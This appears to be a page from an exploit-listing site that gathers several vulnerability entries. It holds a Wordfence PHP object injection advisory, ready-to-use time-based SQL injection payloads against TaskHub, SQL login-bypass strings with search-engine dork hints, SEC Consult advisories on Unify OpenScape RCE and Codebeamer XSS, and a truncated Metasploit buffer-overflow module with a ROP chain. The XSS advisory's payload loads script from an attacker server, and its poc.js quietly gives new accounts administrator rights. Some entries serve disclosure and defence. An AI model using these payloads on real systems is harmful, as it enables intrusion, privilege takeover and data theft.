Latest exploits :: CodePwn

<pre><code>Vulnerability Summary from Wordfence Intelligence Description: Insecure Deserialization/PHP Object Injection via queries Affected Plugin: Essential Blocks, Essential Blocks Pro Plugin slug: essential-blocks, essential-blocks-pro Vendor: WPDeveloper Affected versions: <= 4.2.0 (Free) and <= 1.1.0 (Pro) CVE ID: CVE-2023-4386 CVSS score: 8.1 (High) CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Researcher: Marco Wotschka Fully Patched Version: 4.2.1 & 1.1.1 The Essential Blocks plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.2.0 via deserialization of untrusted input in the get_posts function. This allows unauthenticated attackers to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. Description: Insecure Deserialization/PHP Object Injection via products Affected Plugin: Essential Blocks, Essential Blocks Pro Plugin slug: essential-blocks Vendor: WPDeveloper Affected versions: <= 4.2.0 (Free) and <= 1.1.0 (Pro) CVE ID: CVE-2023-4402 CVSS score: 8.1 (High) CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Researcher: Marco Wotschka Fully Patched Version: 4.2.1 & 1.1.1 The Essential Blocks plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.2.0 via deserialization of untrusted input in the get_products function. This allows unauthenticated attackers to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. Technical Analysis The Essential Blocks plugin provides more than 40 blocks to its users including sliders, buttons, pricing tables, maps and others. An API is provided to query for posts and products via the queries and products API endpoints which do not require authentication. Unfortunately, query data and attributes were passed in PHP’s serialized string format and were subsequently unserialized by the functions get_posts (for the queries endpoint) and get_products (for the products endpoint) in /includes/API/PostBlock.php and /includes/API/Product.php, respectively. php-objection-injection-posts get_posts function php-objection-injection-products get_products function Attackers could utilize this to inject a PHP object with properties of their choosing. The presence of a PHP POP chain can make it possible for an attacker to execute arbitrary code, create and delete files and potentially ultimately take over a vulnerable site. Fortunately, no POP chain is present in the Essential Blocks plugin, which means an attacker would require another plugin or theme installed on the vulnerable site with a POP chain present in order to fully exploit these vulnerabilities. It is worth mentioning that POP chains can sometimes be found in popular plugins and libraries which include destructor methods that perform cleanup tasks when an Object is destroyed or deserialized. Despite the lack of a POP chain in the Essential Blocks plugin itself, and the complexity involved in exploiting these types of vulnerabilities, a successful attack often leads to severe consequences. We explain how PHP Object Injections work in this blog post, if you are interested to find out more about their inner workings. Timeline August 17, 2023 – The Wordfence Threat Intelligence team discovers two PHP Object Injection vulnerabilities in the Essential Blocks plugin. August 18, 2023 – We release a firewall rule to protect Wordfence Premium, Wordfence Care, and Wordfence Response customers and initiate the disclosure process. August 23, 2023 – We send the full disclosure to the plugin developer. August 29, 2023 – A patched version of the Essential Blocks plugin, 4.2.1 (1.1.1 for Pro), is released. September 17, 2023 – The firewall rule becomes available to free Wordfence users. Conclusion In this blog post, we covered two PHP Object Injection vulnerabilities in the Essential Blocks plugin affecting versions 4.2.0 and earlier in the Free version of the plugin and versions 1.1.0 and earlier in the Pro version. These vulnerabilities allow unauthenticated threat actors to query the plugin’s API using serialized malicious payloads that are subsequently deserialized. They have been fully addressed in version 4.2.1 of the free version of the plugin and 1.1.1 of the Pro version of the plugin. We encourage WordPress users to verify that their sites are updated to the latest patched version of Essential Blocks. All Wordfence running Wordfence Premium, Wordfence Care, and Wordfence Response, have been protected against these vulnerabilities as of August 18, 2023. Users still using the free version of Wordfence received protection on September 17, 2023. If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk. For security researchers looking to disclose vulnerabilities responsibly and obtain a CVE ID, you can submit your findings to Wordfence Intelligence and potentially earn a spot on our leaderboard. </code></pre>

<pre><code># Exploit Title: taskhub 2.8.7 - SQL Injection # Exploit Author: CraCkEr # Date: 05/09/2023 # Vendor: Infinitie Technologies # Vendor Homepage: https://www.infinitietech.com/ # Software Link: https://codecanyon.net/item/taskhub-project-management-finance-crm-tool/25685874 # Demo: https://taskhub.company/auth # Tested on: Windows 10 Pro # Impact: Database Access # CVE: CVE-2023-4987 # CWE: CWE-89 - CWE-74 - CWE-707 ## Greetings The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka CryptoJob (Twitter) twitter.com/0x0CryptoJob ## Description SQL injection attacks can allow unauthorized access to sensitive data, modification of data and crash the application or make it unavailable, leading to lost revenue and damage to a company's reputation. Path: /home/get_tasks_list GET parameter 'project' is vulnerable to SQL Injection GET parameter 'status' is vulnerable to SQL Injection GET parameter 'user_id' is vulnerable to SQL Injection GET parameter 'sort' is vulnerable to SQL Injection GET parameter 'search' is vulnerable to SQL Injection https://taskhub.company/home/get_tasks_list?project=[SQLi]&status=[SQLi]&from=&to=&workspace_id=1&user_id=[SQLi]&is_admin=&limit=10&sort=[SQLi]&order=&offset=0&search=[SQLi] --- Parameter: project (GET) Type: time-based blind Title: MySQL >= 5.0.12 time-based blind (query SLEEP) Payload: project='XOR(SELECT(0)FROM(SELECT(SLEEP(8)))a)XOR'Z&status=&from=&to=&workspace_id=1&user_id=23&is_admin=&limit=10&sort=id&order=desc&offset=0&search= Parameter: status (GET) Type: time-based blind Title: MySQL >= 5.0.12 time-based blind (query SLEEP) Payload: project=&status='XOR(SELECT(0)FROM(SELECT(SLEEP(8)))a)XOR'Z&from=&to=&workspace_id=1&user_id=23&is_admin=&limit=10&sort=id&order=desc&offset=0&search= Parameter: user_id (GET) Type: time-based blind Title: MySQL >= 5.0.12 time-based blind (query SLEEP) Payload: project=&status=&from=&to=&workspace_id=1&user_id=(SELECT(0)FROM(SELECT(SLEEP(8)))a)&is_admin=&limit=10&sort=id&order=desc&offset=0&search= Parameter: sort (GET) Type: time-based blind Title: MySQL >= 5.0.12 time-based blind (query SLEEP) Payload: project=&status=&from=&to=&workspace_id=1&user_id=23&is_admin=&limit=10&sort=(SELECT(0)FROM(SELECT(SLEEP(6)))a)&order=desc&offset=0&search= Parameter: search (GET) Type: time-based blind Title: MySQL >= 5.0.12 time-based blind (query SLEEP) Payload: project=&status=&from=&to=&workspace_id=1&user_id=23&is_admin=&limit=10&sort=id&order=desc&offset=0&search=') AND (SELECT(0)FROM(SELECT(SLEEP(7)))a)-- wXyW --- [-] Done </code></pre>

<pre><code>==================================================================================================================================== | # Title : Lamano CMS v2.0 Auth By Pass Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) | | # Vendor : https://www.progetis.lu/ | | # Dork : © 2018 Lamano by easysolutions | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use payload : user & Pass : 1' or 1=1 -- - [+] https://www.sylviebecker127.0.1.1lu Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : lacabane v1.0 Auth by pass Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) | | # Vendor : http://www.samuelniang.eu/cv.html | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine [+] use payload in user & pass : 1'or'1'='1 [+] http://lacabanedesloupiots127.0.0.1com/admin.php Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20230918-0 > ======================================================================= title: Authenticated Remote Code Execution and Missing Authentication product: Atos Unify OpenScape Session Border Controller Atos Unify OpenScape Branch Atos Unify OpenScape BCF vulnerable version: OpenScape SBC before V10 R3.3.0 OpenScape Branch V10 before V10 R3.3.0 OpenScape BCF V10 before V10 R10.10.0 fixed version: OpenScape SBC V10 >=R3.3.0 OpenScape Branch V10 >=R3.3.0 OpenScape BCF V10 >=R10.10.0 CVE number: CVE-2023-36618, CVE-2023-36619 impact: critical homepage: https://unify.com found: 2023-04-21 by: Armin Weihbold (Office Linz) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Unify is is the Atos brand for communication and collaboration solutions Unify is the newest member of the Atos family, combining Atos’ knowledge and reputation in the IT services market with Unify’s expertise in unified communications and collaboration to provide customers with seamless services solutions for their entire digital portfolio. Within Atos, Unify continues to deliver a unique integrated proposition for unified communications and real time capabilities." Source: https://unify.com/en/expert/unify Business recommendation: ------------------------ SEC Consult recommends users of the affected products to install the latest update. Furthermore, an in-depth security analysis performed by security professionals is highly advised, as the software may be affected from other security issues. Vulnerability overview/description: ----------------------------------- 1) Authenticated Remote Code Execution (CVE-2023-36618) The API of the administrative web application insufficiently validates the input of authenticated users at the server. This leads to the possibility of executing arbitrary PHP functions (with some defined exceptions) and subsequently operating system level commands with root privileges. A low-privileged ReadOnly role is sufficient to exploit this security issue. 2) Missing Authentication (CVE-2023-36619) A number of scripts that are used to administer the appliance can be accessed or executed unauthenticated via the web server. Proof of concept: ----------------- 1) Authenticated Remote Code Execution (CVE-2023-36618) A large part of the application is built according to the scheme in the following listing. Some functions are defined and at the end the function `callMainFunction` is called, which takes care of processing POST data. ----------------------------------------------------------------------- <?php require_once '../core/CoreAPI.php'; function tempSessionAcdQueue($args = null) { [...SNIP...] } function getAcdQueueInfo($args = null) { [...SNIP...] } // calls function which will handle the Post requests callMainFunction(); ----------------------------------------------------------------------- `callMainFunction` in `/srv/www/htdocs/core/CoreAPI.php` essentially calls arbitrary functions with arbitrary arguments passed via POST parameters, and only tests beforehand whether or not they are in a list of forbidden functions (`cfgUtilCheckMethod`) and whether the user is authenticated: ----------------------------------------------------------------------- <?php [...] require_once 'cfgUtil.php'; [...] function callMainFunction () { $func = ( isset($_POST['method']) ) ? trim(cfgUtilGetPostData('method')) : null ; if (cfgUtilCheckMethod($func)) return; $args = ( isset($_POST['args']) ) ? cfgUtilSanitizePostArgs(json_decode($_POST['args'], true)) : null ; [...] if ( function_exists($func) && is_callable($func) ) { @session_start(); if (!isset($_SESSION["Authenticated"]) || ($_SESSION["Authenticated"] == false)) { session_destroy(); [...] } else { if ( $args != null ) $func($args); else $func(); } } } ----------------------------------------------------------------------- Then `cfgUtilCheckMethod` in `/srv/www/htdocs/core/cfgUtil.php` checks for a number of dangerous functions which should get blocked: ----------------------------------------------------------------------- function cfgUtilCheckMethod($func) { if (isset($func)) { // block methods $methods = array( [...] “eval”, “exec”, [...] “shell_exec”, [...] “system”, ); if (in_array($func, $methods)) return 1; } return 0; } ----------------------------------------------------------------------- What has been forgotten here are the functions provided by cfgUtil.php itself like `cfgUtilExecute`, `cfgUtilShellExec` and especially `cfgUtilShellExecSudo`, `cfgUtilSetPermExecSudo` and `cfgUtilExecSudo`. These functions allow an authenticated attacker (a ReadOnly role is sufficient for this) to execute arbitrary commands as root user on the appliance. ----------------------------------------------------------------------- function cfgUtilShellExecSudo( $command, $escape = TRUE, $supressLog = FALSE ) { $newcommand=$command; if ( $escape == TRUE ) $newcommand = escapeshellcmd($command); if ( ($newcommand != $command) and ($supressLog != TRUE ) ) osb_log(E_WARNING, debug_backtrace()[1][‘function’]. “(): The command: “ . $command . “ is not equivalent to: “ . $newcommand); $retvalue = trim(shell_exec(‘/usr/bin/sudo ‘ . $newcommand )); return $retvalue; } ----------------------------------------------------------------------- To demonstrate the RCE vulnerability, it is sufficient to send a request like the following to any endpoint that calls `callMainFunction` like in: [PoC URL removed] ----------------------------------------------------------------------- [PoC POST request removed] ----------------------------------------------------------------------- The server response indicates a successful request: ----------------------------------------------------------------------- HTTP/1.1 200 OK Date: Fri, 21 Apr 2023 10:22:42 GMT Server: Apache X-Frame-Options: SAMEORIGIN Expires: 0 Cache-Control: max-age=0, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 ----------------------------------------------------------------------- If we now list the contents of the `/tmp` directory on the server, we see that the file `root_from_ro` was created by the root user: ----------------------------------------------------------------------- user@server:/tmp> ls -al [...] -rw-r--r-- 1 root root 0 Apr 21 10:22 root_from_ro ----------------------------------------------------------------------- 2) Missing Authentication (CVE-2023-36619) The following scripts, which are executable without authentication and do not expect command line arguments, could be identified. For this, heuristic methods based on the source code were used. In particular, scripts were searched that do not use any of the normally used authentication methods and do not only consist of classes. - https://hostname/core/configuringInBackground.php - https://hostname/core/downloadProfiles.php - https://hostname/core/hello_world.php - https://hostname/core/scripts/applyZooServerData.php - https://hostname/core/scripts/cfgGenUpdateSSPStatusTable.php - https://hostname/core/scripts/checkcardsDbHw.php - https://hostname/core/scripts/config1.php - https://hostname/core/scripts/recover.php - https://hostname/core/scripts/start.php - https://hostname/core/scripts/startPre.php - https://hostname/core/shutdown.php - https://hostname/data/sipLbInfo.php - https://hostname/data/turnInfo.php The following demonstrates an execution. The following request is sent to the appliance: ----------------------------------------------------------------------- GET /core/scripts/start.php HTTP/1.1 Host: hostname Upgrade-Insecure-Requests: 1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://hostname/acd.html Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ----------------------------------------------------------------------- In the successful response, the time is highlighted to compare with the PHP log: ----------------------------------------------------------------------- HTTP/1.1 200 OK Date: Thu, 20 Apr 2023 11:47:34 GMT Server: Apache X-Frame-Options: SAMEORIGIN Cache-Control: max-age=0, must-revalidate Pragma: no-cache Expires: 0 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 ----------------------------------------------------------------------- In the PHP log you will now find the following output, which shows that this script is used for configuring and starting the appliance and was actually executed: ----------------------------------------------------------------------- 2023-04-20T11:47:34+00:00 [notice] PHP Notice: --------------------------------------- in /srv/www/htdocs/core/scripts/start.php on line 33 [...] ---------- Running start.php ---------- in /srv/www/htdocs/core/scripts/start.php on line 34 [...] --------------------------------------- in /srv/www/htdocs/core/scripts/start.php on line 35 [...] Loading XML in /srv/www/htdocs/core/scripts/start.php on line 61 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 599 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 600 [...] ---------- Running start() OSS ----------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 601 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 602 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 603 [...] Starting start() OSS in /srv/www/htdocs/core/ConfigMgrOSS.php on line 607 [...] Active partition: 4 /dev/sda6 in /srv/www/htdocs/core/ConfigMgrOSS.php on line 613 [...] Calling hookStart start in /srv/www/htdocs/core/ConfigMgrOSS.php on line 622 [...] Configuring Alarm in /srv/www/htdocs/core/ConfigMgrOSS.php on line 626 [...] Configuring Node for Redundancy in /srv/www/htdocs/core/ConfigMgrOSS.php on line 630 [...] Red. Selection cleared (standlone)... in /srv/www/htdocs/core/NetServicesData.php on line 162 [...] Redundant Node 1 removed in /srv/www/htdocs/core/NetServicesData.php on line 163 [...] Redundant Node 2 removed in /srv/www/htdocs/core/NetServicesData.php on line 164 [...] Configuring Watchdog in /srv/www/htdocs/core/ConfigMgrOSS.php on line 640 [...] Configuring irqBalance in /srv/www/htdocs/core/ConfigMgrOSS.php on line 644 [...] Configuring OpenVmWare in /srv/www/htdocs/core/ConfigMgrOSS.php on line 648 [...] Configuring RADIUS in /srv/www/htdocs/core/ConfigMgrOSS.php on line 662 [...] Configuring SSH Public Keys in /srv/www/htdocs/core/ConfigMgrOSS.php on line 666 [...] Configuring IP Aliases in /srv/www/htdocs/core/ConfigMgrOSS.php on line 671 [...] Configuring Traffic Shaping in /srv/www/htdocs/core/ConfigMgrOSS.php on line 679 [...] Configuring Zookeeper Client in /srv/www/htdocs/core/ConfigMgrOSS.php on line 688 [...] Configuring RTP Proxy in /srv/www/htdocs/core/ConfigMgrOSS.php on line 693 [...] Configuring SSM in /srv/www/htdocs/core/ConfigMgrOSS.php on line 697 [...] Configuring SipServer in /srv/www/htdocs/core/ConfigMgrOSS.php on line 705 [...] UA WhiteList: in /srv/www/htdocs/core/cfgSipServerSP.php on line 2896 [...] simplexml_load_file( /osb/var/mngmt/xml/running/config_20_20230223T115247.xml ) in /srv/www/htdocs/core/PersistenceMgr.php on line 520 [...] Circuit feature enabled ? 0 in /srv/www/htdocs/core/AnsibleData.php on line 42 [...] New xml cache file created daec97748bc1828d8514ee16e200a834 in /srv/www/htdocs/core/PersistenceMgr.php on line 1883 [...] Locking SSP Register in /srv/www/htdocs/core/cfgSipServerOSS.php on line 2682 [...] SipServer configuration changed. in /srv/www/htdocs/core/cfgSipServerSP.php on line 2595 [...] Configuring Media Server in /srv/www/htdocs/core/ConfigMgrOSS.php on line 726 [...] Configuring IPSec in /srv/www/htdocs/core/ConfigMgrOSS.php on line 734 [...] Configuring VPN in /srv/www/htdocs/core/ConfigMgrOSS.php on line 741 [...] Configuring Certificate Management in /srv/www/htdocs/core/ConfigMgrOSS.php on line 745 [...] Configuring Web Secure Management in /srv/www/htdocs/core/ConfigMgrOSS.php on line 749 [...] Configuring TURN Server in /srv/www/htdocs/core/ConfigMgrOSS.php on line 754 [...] Configuring Sip Loadbalancer in /srv/www/htdocs/core/ConfigMgrOSS.php on line 759 [...] Configuring GTC Loader in /srv/www/htdocs/core/ConfigMgrOSS.php on line 764 [...] Configuring GTC Node app in /srv/www/htdocs/core/ConfigMgrOSS.php on line 769 [...] Configuring Serviceability in /srv/www/htdocs/core/ConfigMgrOSS.php on line 774 [...] Configuring QoS Send Trap in /srv/www/htdocs/core/ConfigMgrOSS.php on line 779 [...] Configuring Push Notification in /srv/www/htdocs/core/ConfigMgrOSS.php on line 784 [...] Configuring Branding in /srv/www/htdocs/core/ConfigMgrOSS.php on line 797 [...] Calling hookStart stop in /srv/www/htdocs/core/ConfigMgrOSS.php on line 800 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 838 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 839 [...] ---------- Done start() OSS ----------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 840 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 841 [...] --------------------------------------------- in /srv/www/htdocs/core/ConfigMgrOSS.php on line 842 [...] --------------------------------------- in /srv/www/htdocs/core/scripts/start.php on line 77 [...] ---------- Done start.php (0) --------- in /srv/www/htdocs/core/scripts/start.php on line 78 [...] --------------------------------------- in /srv/www/htdocs/core/scripts/start.php on line 79 [...] ----------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: * OpenScape Session Border Controller Firmware Version V10 R3.01.03 According to vendor, versions before V10 R3.3.0 are affected as well. The vendor confirmed that the following other products are vulnerable as well: * OpenScape Branch version before V10 R3.3.0 * OpenScape BCF version before V10 R10.10.0 Vendor contact timeline: ------------------------ 2023-06-12: Contacting vendor through email obso@atos.net; sending encrypted advisory (S/MIME) 2023-06-15: Call with vendor, discussing release and timeline. Requesting CVE numbers through MITRE. 2023-06-28: Vendor provides update regarding timeline / patch availability and affected products. Sending received CVE numbers to vendor. 2023-06-29: Vendor provides draft of their security advisory including planned release dates of patched versions. Giving feedback. Receiving download URL from vendor. 2023-07-04: Receiving updated version of vendor security advisory, providing some more feedback/minor fixes. 2023-07-06: Vendor releases security advisory and patches. 2023-09-18: Coordinated release of advisory Solution: --------- The vendor provides a patch for the affected products: * OpenScape Session Border Controller Firmware Version V10 >=R3.3.0 * OpenScape Branch version V10 >=R3.3.0 * OpenScape BCF version V10 >=R10.10.0 The patches can be obtained for registered customers through the vendor's download server: https://sws.unify.com/SWSIntranet/SWSIntra.aspx or via https://unify.com/en/partner/partnerportal https://unify.com/en/support/kunden-support-portal Furthermore, the vendor has also released a security advisory which is available here: https://networks.unify.com/security/advisories/OBSO-2307-01.pdf Workaround: ----------- Limit access to the administrative web application to authorized personnel on the network level. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF A. Weihbold / @2023 </code></pre>

<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20230829-0 > ======================================================================= title: Reflected Cross-Site Scripting (XSS) product: PTC - Codebeamer (ALM Solution) vulnerable version: <=22.10-SP7, <=22.04-SP5, <=21.09-SP13 fixed version: >=22.10-SP8, >=22.04-SP6, >=21.09-SP14 CVE number: CVE-2023-4296 impact: high homepage: https://www.ptc.com/en/products/codebeamer found: 2023-04-14 by: Niklas Schilling (Office Munich) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Codebeamer offers unique digital workflows that help your teams improve development collaboration, product line development efficiency, and regulatory compliance. Codebeamer's open platform extends application lifecycle management functionalities with product line configuration capabilities, and provides unique configurability for complex processes. Connect all development tools to give your teams a single development platform. You can also easily adapt the solution to specific development needs and automate process control for regulatory compliance." Source: https://www.ptc.com/en/products/codebeamer Business recommendation: ------------------------ SEC Consult recommends PTC customers to install the latest updates. Furthermore, an in-depth security analysis performed by security professionals is highly advised, as the software may be affected from other security issues. Vulnerability overview/description: ----------------------------------- 1) Reflected Cross-Site Scripting (XSS) Vulnerability (CVE-2023-4296) The dynamic Error Page in Codebeamer is vulnerable to a reflected XSS attack. It successfully sanitizes malicious HTML tags such as <script> and various JavaScript events like "onload" or "onerror" that can be used to execute arbitrary JavaScript code when a certain event occurs. However, it was possible to bypass these restrictions, allowing an attacker to inject arbitrary JavaScript code which will be executed in the victim's browser upon clicking on a malicious link. Proof of concept: ----------------- 1) Reflected Cross-Site Scripting (XSS) Vulnerability (CVE-2023-4296) To verify this vulnerability, it is sufficient to open the following URL as an unauthenticated user in a web browser: https://<CODEBEAMER_SERVER>/errorHandler.spr?fileName=<html onpointermove = alert(window.origin)> When a user now moves the cursor anywhere on the Error Page, the "onpointermove" event triggers, resulting in the execution of the alert() function. To further demonstrate the criticality of this vulnerability, the following XSS payload can be used: https://<CODEBEAMER_SERVER>/errorHandler.spr?fileName=<html onpointermove = "if(!document.getElementById('SEC1337')){window.x=document.createElement('script'); window.x.id='SEC1337';window.x.src ='https://<ATTACKER_SERVER>/poc.js'; document.body.appendChild(window.x);}"></html> Note that the space before the equal sign in "window.x.src ='https://<ATTACKER_SERVER>/poc.js'" is mandatory, as this section of the payload would otherwise be truncated to "window.x." by the application, completely removing the URL of the attacker server. When an admin user now clicks on this malicious link, an external JavaScript file will be loaded (poc.js), which can be found below. The included JavaScript code creates a hidden iframe which loads the page with the User Registration settings. This page allows to specify, whether newly registered accounts should get assigned to a certain group via multiple checkboxes to choose from. The script now automatically selects the checkbox "System Administrator", resulting in newly registered accounts having admin privileges in the application. As this attack takes place in a hidden iframe, the victim doesn't get any visual feedback that the attack is happening. Attack Sequence: 1. Send the malicious link to an administrator. 2. Wait for the administrator to click on the malicious link. 3. Register a new account with automatic admin privileges. Content of poc.js: frame = document.createElement("iframe"); frame.addEventListener("load", function() { setTimeout(function(){ frame.contentDocument.getElementById("roles1").click(); frame.contentDocument.getElementById("notificationFrom").value = "example@sec-consult.com"; frame.contentDocument.getElementById("notificationAddress").value = "example@sec-consult.com"; frame.contentDocument.getElementsByClassName("actionBar")[0].childNodes[1].click(); }, 2000) }); frame.src = "http://<CODEBEAMER_SERVER>/sysadmin/configUserRegistration.spr"; frame.style="position: absolute;width:0;height:0;border:0;"; document.body.append(frame); Vulnerable / tested versions: ----------------------------- The following Codebeamer versions are affected by this vulnerability: <=22.10-SP7, <=22.04-SP5, <=21.09-SP13 Vendor contact timeline: ------------------------ 2023-06-05: Sending the advisory to cvd@ptc.com 2023-06-05: Vendor confirms receipt of advisory. 2023-06-16: Vendor confirms vulnerability and mentions a fix in version "22.10-SP6". 2023-06-19: Informing the vendor that version "22.10-SP6" is still vulnerable. 2023-06-21: Vendor confirms that the vulnerability still exists in version "22.10-SP6" and that it's actually fixed in version "22.10-SP7". Furthermore, vendor asks if we're fine with a public disclosure via CISA. 2023-06-22: Informing vendor that public disclosure via CISA is fine. 2023-06-22: Vendor mentions that he contacts CISA and that he keeps us in loop. 2023-07-14: Asking vendor for a status update regarding CISA. 2023-07-14: Vendor requests access to CISA VINCE for a public disclosure. 2023-07-14: Access granted to CISA VINCE. 2023-08-01: Date of public disclosure set to 2023-08-29. 2023-08-29: Coordinated advisory release. Solution: --------- Update version "22.10-X" to "22.10-SP8" or later. Update version "22.04-X" to "22.04-SP6" or later. Update version "21.09-X" to "21.09-SP14" or later. The following URL was provided by the vendor with additional remediation information: https://codebeamer.com/cb/wiki/31346480 Workaround: ----------- No workaround available. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF N. Schilling / @2023 </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super( update_info( info, 'Name' => 'Ivanti Avalanche MDM Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow condition in Ivanti Avalanche MDM versions before v6.4.1. An attacker can send a specially crafted message to the Wavelink Avalanche Manager, which could result in arbitrary code execution with the NT/AUTHORITY SYSTEM permissions. This vulnerability occurs during the processing of 3/5/8/100/101/102 item data types. The program tries to copy the item data using `qmemcopy` to a fixed size data buffer on stack. Upon successful exploitation the attacker gains full access to the target system. This vulnerability has been tested against Ivanti Avalanche MDM v6.4.0.0 on Windows 10. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ege BALCI egebalci[at]pm.me', # PoC & Msf Module 'A researcher at Tenable' # Discovery ], 'References' => [ ['CVE', '2023-32560'], ['URL', 'https://www.tenable.com/security/research/tra-2023-27'], ['URL', 'https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Payload' => { 'BadChars' => "\x3b" }, 'Targets' => [['Ivanti Avalanche <= v6.4.0.0', {}]], 'Privileged' => true, 'DisclosureDate' => '2023-08-14', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [] } ) ) register_options( [ OptPort.new('RPORT', [true, 'The remote Avalanche Manager port', 1777]) ] ) end def check begin connect rescue StandardError print_error('Could not connect to target!') return Exploit::CheckCode::Safe end res = sock.get_once if res =~ /p\.guid/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit expected_payload_size = 622 # This is a custom ROP chain for bypassing DEP via VirtualAlloc rop_chain = [0x00544498].pack('V') # pop edx ; mov eax, 0x00000022 ; ret ; rop_chain += [0x00001000].pack('V') # flAllocationType rop_chain += 